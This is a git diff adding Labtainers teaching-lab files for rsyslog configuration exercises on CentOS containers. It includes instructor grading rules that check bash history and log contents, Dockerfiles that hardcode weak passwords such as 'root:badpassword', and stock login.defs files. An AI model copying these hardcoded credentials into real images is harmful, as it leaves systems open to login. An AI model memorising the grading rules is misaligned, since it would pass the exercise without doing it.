b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log/instr_config/results.config @@ -0,0 +1,16 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +logger = /root/.bash_history : STRING_COUNT : logger +last = /root/.bash_history : STRING_COUNT : last +systemctl = /root/.bash_history : STRING_COUNT : systemctl restart rsyslog +service = /root/.bash_history : STRING_COUNT : service rsyslog restart +mark = /var/log/messages : CONTAINS : MARK +# time range delimited by the start of system logging +syslog_slices = /var/log/messages : LOG_RANGE : Started System Logging Service +# time stamps of debug log entries in /var/log/debug +some_debug = /var/log/mydebug : LOG_TS : centos-log Joe +# time stamps of rsyslog starting entries in /var/log/debug +# A goal of the lab is to configure logging so that only debug goes into +# the /var/log/debug, thus we don't want service messages in that log +service_in_debug = /var/log/mydebug : LOG_TS : Started System Logging Service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/about.txt new file mode 100644 index 000000000..0607d0dba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/about.txt @@ -0,0 +1 @@ +System log basic usage and configuration on a CentOS system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/start.config new file mode 100644 index 000000000..2b577776f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/config/start.config @@ -0,0 +1,67 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER logger + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED logger_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER logger + # user name of user who interacts with the container. + USER Joe + PASSWORD password4joe + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + SCRIPT NONE + X11 YES + LAN 172.25.0.2 + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + LAN 172.25.0.2 + + + +CONTAINER workstation + USER Joe + PASSWORD password4joe + SCRIPT NONE + X11 YES + LAN 172.25.0.3 + TERMINALS 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/dockerfiles/Dockerfile.centos-log2.logger.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/dockerfiles/Dockerfile.centos-log2.logger.student new file mode 100644 index 000000000..b600b9940 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/dockerfiles/Dockerfile.centos-log2.logger.student @@ -0,0 +1,65 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh + +# +# Install the system files found in the _system directory +# +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN echo "root:badpassword" | chpasswd +RUN usermod $user_name -a -G wheel +#RUN rm -fr /tmp/.X11-unix +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/usr/sbin/init"] +#ENTRYPOINT bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/dockerfiles/Dockerfile.centos-log2.workstation.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/dockerfiles/Dockerfile.centos-log2.workstation.student new file mode 100644 index 000000000..18940f366 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/dockerfiles/Dockerfile.centos-log2.workstation.student @@ -0,0 +1,62 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template for CentOS +# +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable mynotify +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/Makefile new file mode 100644 index 000000000..b6308e1ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/Makefile @@ -0,0 +1,6 @@ +centos-log.pdf: centos-log.docx + soffice --convert-to pdf centos-log.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log-Template.docx new file mode 100755 index 000000000..270b22b84 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.docx new file mode 100755 index 000000000..e0acebbe2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/centos-log.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/read_first.txt new file mode 100644 index 000000000..bac5e5d03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/centos-log.pdf +The report template at + file://LAB_DOCS/centos-log-Template.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/goals.config new file mode 100644 index 000000000..e1b300d86 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/goals.config @@ -0,0 +1,22 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#GROUP: Counts of quantity of commands issued. +logger_count = value : logger +last_count = value : last +service_count = value : service + +# Timestamped set of debug entries in /var/log/debug +# with time ranges delimited by rsyslog starting +#DOC: Altered rsyslog.conf, resulting in debug messages going to +# a custom log file (though it may not be limited to debug messages) +debug_log = time_during : some_debug : syslog_slices + +# Timestamp ranges delimited by rsyslog starting, in which no +# service log entries appear in the /var/log/debug +_debug_not_mixed = time_not_during : service_in_debug : syslog_slices + +#DOC: Altered rsyslog.conf, resulting in only debug messages going to +# a custom log file +exact_debug = boolean : (_debug_not_mixed and debug_log) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/results.config new file mode 100644 index 000000000..856885e33 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/instr_config/results.config @@ -0,0 +1,18 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +logger = logger:/root/.bash_history : STRING_COUNT : logger +last = logger:/root/.bash_history : STRING_COUNT : last +systemctl = logger:/root/.bash_history : STRING_COUNT : systemctl restart rsyslog +service = logger:/root/.bash_history : STRING_COUNT : service rsyslog restart +#DOC: Altered rsyslog.conf, resulting in mark written to system log +log_mark = logger:/var/log/messages : CONTAINS : MARK +# time range delimited by the start of system logging +syslog_slices = logger:/var/log/messages : LOG_RANGE : Started System Logging Service +# time stamps of debug log entries in /var/log/debug +some_debug = logger:/var/log/mydebug : LOG_TS : logger Joe +# time stamps of rsyslog starting entries in /var/log/debug +# A goal of the lab is to configure logging so that only debug goes into +# the /var/log/debug, thus we don't want service messages in that log +service_in_debug = logger:/var/log/mydebug : LOG_TS : Started System Logging Service +centralized = logger:/var/log/messages : CONTAINS : workstation systemd: Starting System diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_bin/fixlocal.sh new file mode 100755 index 000000000..d5f792430 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_bin/fixlocal.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +# avoid error message in syslog +echo $1 | sudo -S chown syslog:adm /dev/xconsole diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_bin/student_startup.sh new file mode 100644 index 000000000..c998b49a4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_bin/student_startup.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# If root, loop forever in login. +# +id | grep root >>/dev/null +result=$? +if [[ $result -eq 0 ]]; then + rm -f /run/nologin + #echo "is root" + while [ 1 ]; do + trap login SIGINT + /sbin/login + done +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/sbin/faux_init new file mode 100755 index 000000000..5832a1f97 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# +/usr/sbin/rsyslog -n & +service rc.local start + +### Uncomment the while loop below +### if it is necessary to make sure parameterization has happened + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +###while [ ! -d "$PERMLOCKDIR" ] +###do +### sleep 2 +###done + +# PUT any daemon start (that need parameterization after while loop) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/sbin/login b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/sbin/login new file mode 100755 index 000000000..f6bee58da Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/logger/_system/sbin/login differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/centos-log2/workstation/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + 